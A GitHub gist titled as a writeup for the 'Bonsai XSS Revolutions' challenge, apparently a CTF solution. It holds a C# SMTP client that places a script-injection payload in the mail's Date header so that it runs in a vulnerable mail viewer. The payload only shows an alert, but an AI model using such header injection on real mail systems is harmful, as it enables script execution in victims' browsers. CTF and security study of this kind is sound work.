Created
December 6, 2015 08:27
-
-
Save misodengaku/9388e3c13c219b1242ca to your computer and use it in GitHub Desktop.
Bonsai XSS Revolutions writeup
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SMTPでメールを送信する: .NET Tips: C#, VB.NET | |
// http://dobon.net/vb/dotnet/internet/smtpmail.html | |
using System; | |
using System.Collections.Generic; | |
using System.Linq; | |
using System.Net.Mail; | |
using System.Net.Sockets; | |
using System.Text; | |
using System.Threading.Tasks; | |
namespace mail | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
while (true) | |
{ | |
try | |
{ | |
var from = Console.ReadLine(); | |
var mail = new SmtpMailMessage | |
{ | |
From = from, | |
To = "[email protected]", | |
Subject = "hoge", | |
Body = "hoge" | |
}; | |
var smtp = new Smtp(); | |
//SMTPサーバー名 | |
smtp.SmtpServer = "localhost"; | |
//ポート番号 | |
smtp.SmtpPort = 25; | |
smtp.Send(mail); | |
} | |
catch | |
{ | |
Console.WriteLine("fail"); | |
} | |
} | |
} | |
} | |
/// <summary> | |
/// 送信用のメールメッセージを表すクラス | |
/// </summary> | |
public class SmtpMailMessage | |
{ | |
private string _from = ""; | |
/// <summary> | |
/// 送信者のメールアドレス | |
/// </summary> | |
public string From | |
{ | |
get | |
{ | |
return _from; | |
} | |
set | |
{ | |
_from = value; | |
} | |
} | |
private string _to = ""; | |
/// <summary> | |
/// 送信先のメールアドレス | |
/// </summary> | |
public string To | |
{ | |
get | |
{ | |
return _to; | |
} | |
set | |
{ | |
_to = value; | |
} | |
} | |
private string _subject = ""; | |
/// <summary> | |
/// メールの件名 | |
/// </summary> | |
public string Subject | |
{ | |
get | |
{ | |
return _subject; | |
} | |
set | |
{ | |
_subject = value; | |
} | |
} | |
private string _body = ""; | |
/// <summary> | |
/// メールの本文 | |
/// </summary> | |
public string Body | |
{ | |
get | |
{ | |
return _body; | |
} | |
set | |
{ | |
_body = value; | |
} | |
} | |
private Encoding _encoding = Encoding.GetEncoding(50220); | |
/// <summary> | |
/// 使用するエンコーディング | |
/// </summary> | |
public Encoding Encoding | |
{ | |
get | |
{ | |
return _encoding; | |
} | |
set | |
{ | |
_encoding = value; | |
} | |
} | |
} | |
/// <summary> | |
/// Smtpクラスで発生するエラーを表したクラス | |
/// </summary> | |
public class SmtpException : Exception | |
{ | |
public SmtpException() | |
: base() | |
{ | |
} | |
public SmtpException(string message) | |
: base(message) | |
{ | |
} | |
public SmtpException(string message, Exception inner) | |
: base(message, inner) | |
{ | |
} | |
} | |
/// <summary> | |
/// SMTPの認証方法を表す列挙体 | |
/// </summary> | |
public enum SmtpAuthMethod | |
{ | |
/// <summary> | |
/// 認証を行わない | |
/// </summary> | |
None, | |
/// <summary> | |
/// AUTH PLAIN | |
/// </summary> | |
Plain, | |
/// <summary> | |
/// AUTH LOGIN | |
/// </summary> | |
Login, | |
/// <summary> | |
/// AUTH CRAM-MD5 | |
/// </summary> | |
CramMd5 | |
} | |
/// <summary> | |
/// SMTPでメールを送信するためのクラス | |
/// </summary> | |
public class Smtp : IDisposable | |
{ | |
#region プロパティ | |
private string _smtpServer = ""; | |
/// <summary> | |
/// SMTPサーバー | |
/// </summary> | |
public string SmtpServer | |
{ | |
get | |
{ | |
return _smtpServer; | |
} | |
set | |
{ | |
_smtpServer = value; | |
} | |
} | |
private int _smtpPort = 25; | |
/// <summary> | |
/// ポート番号 | |
/// </summary> | |
public int SmtpPort | |
{ | |
get | |
{ | |
return _smtpPort; | |
} | |
set | |
{ | |
_smtpPort = value; | |
} | |
} | |
private string _authUserName = ""; | |
/// <summary> | |
/// 認証で用いるユーザー名 | |
/// </summary> | |
public string AuthUserName | |
{ | |
get | |
{ | |
return _authUserName; | |
} | |
set | |
{ | |
_authUserName = value; | |
} | |
} | |
private string _authPassword = ""; | |
/// <summary> | |
/// 認証で用いるパスワード | |
/// </summary> | |
public string AuthPassword | |
{ | |
get | |
{ | |
return _authPassword; | |
} | |
set | |
{ | |
_authPassword = value; | |
} | |
} | |
private SmtpAuthMethod _authMethod = SmtpAuthMethod.None; | |
/// <summary> | |
/// 使用する認証方法 | |
/// </summary> | |
public SmtpAuthMethod AuthMethod | |
{ | |
get | |
{ | |
return _authMethod; | |
} | |
set | |
{ | |
_authMethod = value; | |
} | |
} | |
private string _heloName = System.Net.Dns.GetHostName(); | |
/// <summary> | |
/// EHLOで送信するドメイン名 | |
/// </summary> | |
public string HeloName | |
{ | |
get | |
{ | |
return _heloName; | |
} | |
set | |
{ | |
_heloName = value; | |
} | |
} | |
#endregion | |
#region フィールド | |
private TcpClient _socket; | |
private NetworkStream _stream; | |
private System.IO.StreamReader _reader; | |
private System.IO.StreamWriter _writer; | |
//SMTPサーバーから受信したメッセージ | |
private string _receivedMessage; | |
//SMTPサーバーから受信したReply Code | |
private int _receivedCode; | |
private Encoding _encoding; | |
#endregion | |
#region パブリックメソッド | |
/// <summary> | |
/// メールを送信する | |
/// </summary> | |
/// <param name="mail">送信するメール</param> | |
public void Send(SmtpMailMessage mail) | |
{ | |
//初期設定 | |
_encoding = mail.Encoding; | |
try | |
{ | |
//SMTPサーバーと接続する | |
Connect(); | |
//EHLO | |
SendHeloCommand(HeloName); | |
//AUTH | |
if (AuthMethod != SmtpAuthMethod.None) | |
Authenticate(); | |
//MAIL FROM | |
SendMailFromCommand(mail.From); | |
//RCPT TO | |
SendRcptToCommand(mail.To); | |
//DATA | |
SendDataCommand(mail); | |
//QUIT | |
SendQuitCommand(); | |
} | |
finally | |
{ | |
//切断する | |
Close(); | |
} | |
} | |
/// <summary> | |
/// SMTPサーバーと接続する | |
/// </summary> | |
public void Connect() | |
{ | |
if (_socket != null) | |
Close(); | |
//TcpClientオブジェクトを作成する | |
_socket = new TcpClient(); | |
//SMTPサーバーと接続する | |
_socket.Connect(SmtpServer, SmtpPort); | |
//サーバーとデータの送受信を行うストリームを取得する | |
_stream = _socket.GetStream(); | |
_reader = new System.IO.StreamReader(_stream, _encoding); | |
_writer = new System.IO.StreamWriter(_stream, _encoding); | |
//サーバーからのはじめのメッセージを受信 | |
ReceiveData(); | |
if (_receivedCode != 220) | |
throw new SmtpException(_receivedMessage); | |
} | |
/// <summary> | |
/// SMTPサーバーに文字列を送信し、応答を受信する | |
/// </summary> | |
/// <param name="message">送信する文字列</param> | |
/// <returns>受信した応答</returns> | |
public string SendAndReceiveData(string message) | |
{ | |
if (_socket == null) | |
throw new SmtpException("サーバーに接続していません。"); | |
SendData(message); | |
ReceiveData(); | |
return _receivedMessage; | |
} | |
/// <summary> | |
/// SMTPサーバーとの接続を終了する | |
/// </summary> | |
public void Close() | |
{ | |
Dispose(); | |
} | |
public void Dispose() | |
{ | |
if (_reader != null) | |
{ | |
_reader.Close(); | |
} | |
if (_writer != null) | |
{ | |
_writer.Close(); | |
} | |
if (_stream != null) | |
{ | |
_stream.Close(); | |
} | |
if (_socket != null) | |
{ | |
_socket.Close(); | |
} | |
_socket = null; | |
} | |
#endregion | |
#region プライベートメソッド | |
//サーバーからデータを受信する | |
private void ReceiveData() | |
{ | |
StringBuilder buffer = new StringBuilder(); | |
string line; | |
do | |
{ | |
//1行読み取る | |
line = _reader.ReadLine(); | |
if (line == null) | |
{ | |
break; | |
} | |
buffer.Append(line).Append("\r\n"); | |
//表示 | |
System.Diagnostics.Debug.WriteLine("S: " + line); | |
} | |
while (System.Text.RegularExpressions.Regex.IsMatch( | |
line, @"^\d+-")); | |
//受信したメッセージとコードをフィールドに入れる | |
_receivedMessage = buffer.ToString(); | |
_receivedCode = int.Parse(_receivedMessage.Substring(0, 3)); | |
} | |
//サーバーにデータを送信する | |
private void SendData(string str) | |
{ | |
//送信 | |
_writer.Write(str); | |
_writer.Flush(); | |
//表示 | |
System.Diagnostics.Debug.Write("C: " + str); | |
} | |
//エンコードし、Base64に変換 | |
private string GetBase64String(string str) | |
{ | |
return Convert.ToBase64String(_encoding.GetBytes(str)); | |
} | |
//EHLOコマンドを送る | |
private void SendHeloCommand(string domainName) | |
{ | |
SendAndReceiveData("EHLO " + domainName + "\r\n"); | |
if (_receivedCode != 250) | |
throw new SmtpException(_receivedMessage); | |
} | |
//MAIL FROMコマンドを送る | |
private void SendMailFromCommand(string fromAddress) | |
{ | |
SendAndReceiveData("MAIL FROM:<" + fromAddress + ">\r\n"); | |
if (_receivedCode != 250) | |
throw new SmtpException(_receivedMessage); | |
} | |
//RCPT TOコマンドを送る | |
private void SendRcptToCommand(string toAddress) | |
{ | |
SendAndReceiveData("RCPT TO:<" + toAddress + ">\r\n"); | |
if (_receivedCode < 250 || 251 < _receivedCode) | |
throw new SmtpException(_receivedMessage); | |
} | |
//DATAコマンドを送る | |
private void SendDataCommand(SmtpMailMessage mail) | |
{ | |
SendAndReceiveData("DATA\r\n"); | |
if (_receivedCode != 354) | |
throw new SmtpException(_receivedMessage); | |
//送信データを作成する | |
string data = CreateSendStringDataFromMessage(mail); | |
SendAndReceiveData(data); | |
if (_receivedCode != 250) | |
throw new SmtpException(_receivedMessage); | |
} | |
//SmtpMailMessageをDATAコマンドで送信する文字列に変換する | |
private string CreateSendStringDataFromMessage(SmtpMailMessage mail) | |
{ | |
StringBuilder data = new StringBuilder(); | |
data.Append("From: ").Append(mail.From).Append("\r\n"); | |
data.Append("To: ").Append(mail.To).Append("\r\n"); | |
//件名をBase64でエンコード | |
data.Append("Subject: =?" + _encoding.BodyName + "?B?"). | |
Append(GetBase64String(mail.Subject)). | |
Append("?=").Append("\r\n"); | |
// XSS | |
data.Append("Date: <script>alert(window.navigator.userAgent);</script>\r\n"); | |
data.Append("MIME-Version: 1.0\r\n"); | |
data.Append("Content-Transfer-Encoding: 7bit\r\n"); | |
data.Append("Content-Type: text/plain; charset=" + | |
_encoding.BodyName + "\r\n"); | |
data.Append("\r\n"). | |
Append(mail.Body.Replace("\r\n.\r\n", "\r\n..\r\n")); | |
data.Append("\r\n.\r\n"); | |
return data.ToString(); | |
} | |
//QUITコマンドを送る | |
private void SendQuitCommand() | |
{ | |
SendAndReceiveData("QUIT\r\n"); | |
//if (_receivedCode != 221) | |
// throw new SmtpException(_receivedMessage); | |
} | |
//認証を行う | |
private void Authenticate() | |
{ | |
switch (AuthMethod) | |
{ | |
case SmtpAuthMethod.Plain: | |
AuthenticateWithAuthPlain(); | |
break; | |
case SmtpAuthMethod.Login: | |
AuthenticateWithAuthLogin(); | |
break; | |
case SmtpAuthMethod.CramMd5: | |
AuthenticateWithCramMd5(); | |
break; | |
} | |
} | |
//AUTH PLAINで認証を行う | |
private void AuthenticateWithAuthPlain() | |
{ | |
SendAndReceiveData("AUTH PLAIN\r\n"); | |
if (_receivedCode != 334) | |
{ | |
if (_receivedCode == 502) | |
//認証の必要なし | |
return; | |
throw new SmtpException(_receivedMessage); | |
} | |
string str = AuthUserName + '\0' + AuthUserName + | |
'\0' + AuthPassword; | |
SendAndReceiveData(GetBase64String(str) + "\r\n"); | |
if (_receivedCode != 235) | |
throw new SmtpException(_receivedMessage); | |
} | |
//AUTH LOGINで認証を行う | |
private void AuthenticateWithAuthLogin() | |
{ | |
SendAndReceiveData("AUTH LOGIN\r\n"); | |
if (_receivedCode != 334) | |
{ | |
if (_receivedCode == 502) | |
//認証の必要なし | |
return; | |
throw new SmtpException(_receivedMessage); | |
} | |
SendAndReceiveData(GetBase64String(AuthUserName) + "\r\n"); | |
if (_receivedCode != 334) | |
throw new SmtpException(_receivedMessage); | |
SendAndReceiveData(GetBase64String(AuthPassword) + "\r\n"); | |
if (_receivedCode != 235) | |
throw new SmtpException(_receivedMessage); | |
} | |
//CRAM-MD5で認証を行う | |
private void AuthenticateWithCramMd5() | |
{ | |
SendAndReceiveData("AUTH CRAM-MD5\r\n"); | |
if (_receivedCode != 334) | |
{ | |
if (_receivedCode == 502) | |
//認証の必要なし | |
return; | |
throw new SmtpException(_receivedMessage); | |
} | |
SendAndReceiveData(CreateCramMd5ResponseString( | |
_receivedMessage.Substring(4), AuthUserName, AuthPassword) | |
+ "\r\n"); | |
if (_receivedCode != 235) | |
throw new SmtpException(_receivedMessage); | |
} | |
//CRAM-MD5で返す文字列を計算する | |
private static string CreateCramMd5ResponseString( | |
string challenge, string username, string password) | |
{ | |
//デコードする | |
byte[] decCha = Convert.FromBase64String(challenge); | |
//passwordをキーとしてHMAC-MD5で暗号化する | |
System.Security.Cryptography.HMACMD5 hmacMd5 = | |
new System.Security.Cryptography.HMACMD5( | |
Encoding.UTF8.GetBytes(password)); | |
byte[] encCha = hmacMd5.ComputeHash(decCha); | |
hmacMd5.Clear(); | |
//16進数の文字列にする | |
string hexCha = BitConverter.ToString(encCha). | |
Replace("-", "").ToLower(); | |
//usernameを付ける | |
hexCha = username + " " + hexCha; | |
//Base64で文字列にする | |
return Convert.ToBase64String(Encoding.UTF8.GetBytes(hexCha)); | |
} | |
#endregion | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment